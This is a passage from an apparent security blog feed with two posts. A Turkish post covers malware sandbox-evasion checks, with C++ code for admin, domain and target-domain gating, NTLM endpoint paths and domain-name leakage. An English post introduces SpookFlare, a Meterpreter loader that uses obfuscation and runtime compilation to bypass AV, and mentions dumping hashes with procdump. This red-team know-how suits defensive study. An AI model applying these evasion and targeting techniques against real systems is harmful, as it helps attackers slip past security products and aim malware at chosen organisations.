		&lt;span class=&quot;n&quot;&gt;found&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;EqualSid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;admin_SID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;group_token&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Groups&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Sid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;FreeSid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;admin_SID&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;found&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Yukarıdaki kodu daha ileri seviyeye taşımak isterseniz zararlı processinizin Integrity Level’ına da bakabilirsiniz. ;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hata-2:&lt;/strong&gt;  Birçok şirket Sandbox’ın analiz ortamı için Active Directory (Etki Alanı) kurmamaktadır. Ortalama her şirket etki alanına sahiptir ve son kullancılar bu etki alanına dahildir. Yani geliştirdiğiniz zararlı yazılım etki alanı entegrasyonu olan bir sisteme çalışacak demektir. Zararlı yazılımınızı şu sorunun cevabına göre çalışacak şekilde geliştirebilirsiniz; Çalıştığın ortam etki alanına entegre mi? Eğer sistem etki alanına entegre ise çalışmasını sağlayabilir ve sandbox’ı bypass edebilirsiniz. Bunun için &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;DsRoleGetPrimaryDomainInformation&lt;/code&gt; API’ını kullanabilirsiniz. Bu API dahil olunmuş olan etki alanı hakkında bilgiler döndürür. Örnek C++ kodunu aşağıda verdim.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;isMemberOfAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memberOfAD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

   &lt;span class=&quot;n&quot;&gt;DSROLE_PRIMARY_DOMAIN_INFO_BASIC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dwCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

   &lt;span class=&quot;n&quot;&gt;dwCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DsRoleGetPrimaryDomainInformation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DsRolePrimaryDomainInfoBasic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PBYTE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  
   &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dwCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ERROR_SUCCESS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;memberOfAD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

   &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DomainForestName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DomainNameDns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;memberOfAD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TRUE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

   &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;memberOfAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;&lt;strong&gt;Hata-3:&lt;/strong&gt; Bir önceki adımı anlattığım tekniği daha ileri seviyeye taşıyabiliriz. Bir önceki adımda hedef sistemin etki alanı (Active Directroy) entegrasyonu hakkında işlem gerçekleştirdik. Direkt olarak belirli bir etki alanına entegrasyonu için de kontrol yapabiliriz. Örneğin, hedef şirketimiz DZ Corp Inc. ve iç ağlarında dzcorp.local ismine sahip bir etki alanı kullanıyorlar. Bir önceki adımda zararlımızın etki alanına dahil bir sistemde çalışmasını sağladık şimdi sadece dzcorp.local ismine sahip etki alanında çalışmasını sağlayacağız. Bunun için hedef sistemin etki alanı için ayarlanmış DNS adını bulmamız gerekiyor. Bunun için izlenebilir iki tane adım bulunmaktadır.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;İfşa olan SSL sertifikaları bulmak&lt;/li&gt;
  &lt;li&gt;İnternetten erişilebilen ve NTLM Autentication’a izin veren bir dizin bulmak
    &lt;ul&gt;
      &lt;li&gt;Skype for Business (eski adıyla Microsoft Lync veya Microsoft Office Communicator) sunucusunu bulmak&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;i̇fşa-olan-ssl-sertifikaları&quot;&gt;İfşa Olan SSL Sertifikaları&lt;/h2&gt;
&lt;p&gt;İnternet üzerinde sertifikaları tarayıp kayıt altına alan birçok sistem bulunuyor. Şirketler internete açık sistemlerinde bazen iç ağdaki sertifikalarını kullanarak internete açabiliyor. İç ağda kullanmak üzere oluşturulan sertifikanın alan adı genelde iç etki alanının DNS adı olabilmektedir. Bu gibi durumlarda iç tarafta kullanılan etki alanının DNS adını bulabilirsiniz.&lt;/p&gt;

&lt;h2 id=&quot;ntlm-authenticationa-i̇zin-veren-dizinler&quot;&gt;NTLM Authentication’a İzin Veren Dizinler&lt;/h2&gt;
&lt;p&gt;Şirketler çeşitli teknolojiler kullanır ve bunlardan bazıları NTLM Authentication özelliğine sahiptir. Bunlardan bazıları aşağıda verilmiştir.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;OWA Servers&lt;/li&gt;
  &lt;li&gt;Skype for Business (eski adıyla Microsoft Lync veya Microsoft Office Communicator)&lt;/li&gt;
  &lt;li&gt;Autodiscover Servers (autodiscover.domain.com ve lyncdiscover.domain.com)&lt;/li&gt;
  &lt;li&gt;ADFS Servers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Örneğin, hedef şirket Skype for Business kullanıyorsa ve bu sunucu internete açık ise bunu Subdomain Bruteforce ile bulabilirsiniz. Örneğin Skype for Business için Subdomain’i bir kez bulunca aşağıdaki dizinlerden birine istek yaparak NTLM Authentication bulunan bir dizini bulmamız gerekmektedir. Aşağıdaki muhtemel dizinleri verdim.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;/abs/
/adfs/services/trust/2005/windowstransport
/aspnet_client/
/autodiscover/
/autoupdate/
/certenroll/
/certprov/
/certsrv/
/conf/
/deviceupdatefiles_ext/
/deviceupdatefiles_int/
/dialin/
/ecp/
/etc/
/ews/
/exchange/
/exchweb/
/hybridconfig/
/groupexpansion/
/mcx/
/mcx/mcxservice.svc
/meet/
/meeting/
/microsoft-server-activesync/
/oab/
/ocsp/
/owa/
/persistentchat/
/phoneconferencing/
/powershell/
/public/
/reach/sip.svc
/requesthandler/
/requesthandlerext/
/rgs/
/rgsclients/
/rpc/
/rpcwithcert/
/scheduler/
/ucwa/
/unifiedmessaging/
/webticket/
/webticket/webticketservice.svc&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;NTLM Authentication gerektiren bir dizin bulduktan sonra geriye sadece iç ağda kullanılan etki alanına ait DNS adını bulmak kalmaktadır. Skype for Business için yukarıda verdiğim dizinlerden birine istek yaptığınızda eğer NTLM Authentication aktif ise HTTP(S) proxy kullanarak trafiğini izleyin. Herhangi bir hesap bilgisi ile giriş yapmayı deneyin. Sunucu size HTTP 401 (Unauthorized) durum kodu ve &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WWW-Authenticate&lt;/code&gt; header bilgisinde &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TlRMTVNTUAACAAAA...&lt;/code&gt; ile başlayan bir değer ile cevap verecektir. İşte bu &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WWW-Authenticate&lt;/code&gt; başlık bilgisi içerisinde hedef şirketin kullandığı etki alanı DNS adı geçmektedir. Bu binary veriyi okuduğunuz aşağıdaki gibi bir değer elde edeceksiniz.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-plain&quot; data-lang=&quot;plain&quot;&gt;Msg Type: 2 (Challenge)
Target Name: u'HLLDZ' [123456233fsdfe0112900aaaa00] (05b @11)
Challenge: 0xaaaaaaaaaaaaaaaa
Context: '' [] (0b @0)
Target: [block] (111b @11)
    AD domain name (2): HLLDZ
    Server name (1): SRV0001
    DNS domain name (4): hlldz.dzcorp.local
    FQDN (3): srv0001.hlldz.dzcorp.local
    Parent DNS domain (5): dzcorp.local&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Artık hedef şirketin etki alanı DNS ismi hakkında gerekli bilgiye sahipsiniz. Zararlı yazılımınızı şu soruların cevabına göre çalışacak şekilde geliştirebilirsiniz; Çalıştığın ortam etki alanına entegre mi? Eğer öyle ise, bu etki alanı dzcorp.local isimine mi sahip?&lt;/p&gt;

&lt;p&gt;Bunun için aşağıdaki kodda bulunan &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dsRoleInfo-&amp;gt;DomainForestName&lt;/code&gt; ya da &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dsRoleInfo-&amp;gt;DomainNameDns&lt;/code&gt; ile hedef şirketin etki alanı DNS adını karşılaştırabilirsiniz.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;isMemberOfTargetAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kt&quot;&gt;bool&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;isMemberOfTargetAD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

   &lt;span class=&quot;n&quot;&gt;DSROLE_PRIMARY_DOMAIN_INFO_BASIC&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;n&quot;&gt;DWORD&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dwCode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

   &lt;span class=&quot;n&quot;&gt;dwCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DsRoleGetPrimaryDomainInformation&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;DsRolePrimaryDomainInfoBasic&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;PBYTE&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  
   &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dwCode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ERROR_SUCCESS&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
       &lt;span class=&quot;n&quot;&gt;isMemberOfTargetAD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FALSE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

   &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DomainForestName&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dsRoleInfo&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;DomainNameDns&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Compare dsRoleInfo-&amp;gt;DomainForestName or dsRoleInfo-&amp;gt;DomainNameDns with target information&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;// Then return TRUE or FALSE&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;isMemberOfTargetAD&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;TRUE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

   &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;isMemberOfTargetAD&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Happy hunting!&lt;/p&gt;

&lt;h2 id=&quot;referanslar&quot;&gt;Referanslar&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/a/10553065&quot;&gt;How to check whether a Windows user has admin privileges in C?&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/windows/win32/api/dsrole/nf-dsrole-dsrolegetprimarydomaininformation&quot;&gt;DsRoleGetPrimaryDomainInformation function&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name></name></author><summary type="html">Günümüzde, başta büyük şirketler olmak üzere birçok şirket hem online hem de offline sandbox çözümleri kullanmaktadır. Sandbox teknolojisi bir siber savunma merkezinin bel kemiğidir diyebiliriz. Çünkü sürekli olarak şirketinize zararlı dosyalar geliyor! “Gerçekten” yetişmiş birden fazla zararlı yazılım analisti bulmak zor ve bu işi yapacak doğru kişileri bulsanız bile bunu defalarca yapmaları gerekmektedir. Uzun lafı kısası bir sandbox çözümüne ihtiyacınız var ve hali hazırda bir sandbox teknolojisi kullanıyorsanız iyi şeyler yapıyorsunuz demektir.</summary></entry><entry><title type="html">SpookFlare: Stay In Shadows</title><link href="/2017/11/14/spookflare.html" rel="alternate" type="text/html" title="SpookFlare: Stay In Shadows" /><published>2017-11-14T16:37:00+03:00</published><updated>2017-11-14T16:37:00+03:00</updated><id>/2017/11/14/spookflare</id><content type="html" xml:base="/2017/11/14/spookflare.html">&lt;p&gt;Windows is still the most popular end-user operating system and security products are mostly installed on Windows operating systems. Desktop operating system market share graph is given below from NetMarketShare report for August 2017. If an operating system has the highest usage rate in end user systems, it will be the target of attackers in the same way. This means security products will be used in that operating systems and that security products will have to develop themselves day by day against attacks.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2017-11-14-spookflare/stats.png&quot; alt=&quot;Desktop/Laptop Operating System Browsing Statistics&quot; title=&quot;Desktop/Laptop Operating System Browsing Statistics&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Since Windows is the most commonly used operating system, the target systems usually have Windows operating system in the penetration tests. If you intend to infiltrate the Windows operating system, Meterpreter is usually used as RAT in penetration tests because there is full integration with Metasploit. Also my favorite RAT is the Meterpreter. :) Although the Meterpreter has great features, it can be used for illegal purposes, not just for legal purposes, it means, Meterpreter can classified as malicious by security products. This leads to the necessity of bypassing the security products in the target system in penetration tests. OK, we know what we need; “We want to use the Meterpreter and bypass the security countermeasures taken at target”. So how the security products work and how will the SpookFlare help us?&lt;/p&gt;

&lt;p&gt;We can evaluate the operations of the security countermeasures implemented in the operating systems with three stages. The first is signature-based detection, the second is behavioral detection and the third is reputation-based detection. The first thing that is accepted in the literature to bypass the signature-based detection is obfuscation, so you can bypass countermeasures taken. The second, you must change the behavior of malware to bypass behavioral detection. So if you have been detected using Mimikatz to get the hashes of the local users in the target system, you can use the procdump tool of SysInternals. You can bypass behavioral detection because procdump is signed by the authority and generally it used for legal purposes. The last thing is reputation-based detectionand there are some things that are getting complicated at this point. Because the perspectives of security products may be different. Sometimes the properties of your application can be defined as malicious by some security products and the reputation-based detections algorithms changes completely from security product to security product. At this point, your experience is fully engaged in order to bypass the security product. At the end of the day, security products can detect and prevent the attack vectors if they “know”. I mean if you have unknown technique or way you can bypass the countermeasures of target system.&lt;/p&gt;

&lt;p&gt;There are multiple ways the bypass security products. SpookFlare has a different perspective to bypass security measures and it gives you the opportunity to bypass the endpoint countermeasures at the client-side detection and network-side detection. SpookFlare is a loader generator for Meterpreter Reverse HTTP and HTTPS stages. SpookFlare has custom encrypter with string obfuscation and run-time code compilation features so you can bypass the countermeasures of the target systems like a boss until they “learn” the technique and behavior of SpookFlare payloads.&lt;/p&gt;

&lt;p&gt;You can find the technical details of SpookFlare following headings and the payload execution steps following graph.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/2017-11-14-spookflare/execution-flow.png&quot; alt=&quot;Execution Steps of SpookFlare Payload&quot; title=&quot;Execution Steps of SpookFlare Payload&quot; class=&quot;center-image&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;obfuscation&quot;&gt;Obfuscation&lt;/h2&gt;

&lt;p&gt;In software development, obfuscation is the deliberate act of creating source or machine code that is difficult for humans to understand. SpookFlare uses the obfuscation for the string names. Therefore, it will be difficult to develop a signature in a certain “string(s)”. Actually writing a signature for certain string is a behavior done by many malware-analysts or security product developers. When a malware analyst analyzes the sample or by dynamic analysis systems then, once it is determined to be a malware, a proper signature of the file is extracted and added to the signatures database of the AV or Endpoint Security product. The signature of the file will change if you change any byte in a file. If you change the correct bytes, you can bypass the signature-based detections. SpookFlare uses the string obfuscation. Therefore, each generated payload will be unique as possible.&lt;/p&gt;

&lt;h2 id=&quot;runtime-code-compiling&quot;&gt;Runtime Code Compiling&lt;/h2&gt;

&lt;p&gt;Even though the application is built using obfuscation, the code must be completely changed after a point and this point is when your payloads are detected as malicious because string-based obfuscation can achieve success in a certain extent. For example, if the string-based obfuscation is used in your payload also the OpenProcess, VirtualAlloc etc. system calls are used in your payload, there is a possibility of your payload detect by security products. That system calls are suspicious because so many malware use that system calls. To escape from these and other situations, SpookFlare compiles the actual code during runtime. Thus, the definition of suspicious defines like system calls is hidden. Like the system calls, the actual code hiding is explained under the ongoing heading.&lt;/p&gt;

&lt;p&gt;The .NET Framework includes a mechanism called the Code Document Object Model (CodeDOM) that enables developers of programs that emit source code to generate source code in multiple programming languages at run time, based on a single model that represents the code to render. Sometimes developers need it, and .NET Framework makes it possible. For example, the following C # code compiles the C # code assigned to the “code” variable during execution and runs it.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-csharp&quot; data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;System.Text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Microsoft.CSharp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;System.CodeDom.Compiler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;using&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;System.Reflection&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;namespace&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;compileTest&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Program&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;Main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;kt&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;code&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;@&quot;
    using System;

    namespace runtimeCode {

        public class compile {

            public static void Main() {
                Console.WriteLine(&quot;&quot;Hello from runtime compiled code!&quot;&quot;);
                Console.ReadKey();
            }

        }

    }&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;CSharpCodeProvider&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;provider&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;CSharpCodeProvider&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;CompilerParameters&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;parameters&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;CompilerParameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;parameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ReferencedAssemblies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;Add&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;System.dll&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;parameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GenerateInMemory&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;parameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;GenerateExecutable&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;CompilerResults&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;results&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;provider&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;CompileAssemblyFromSource&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;parameters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;code&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
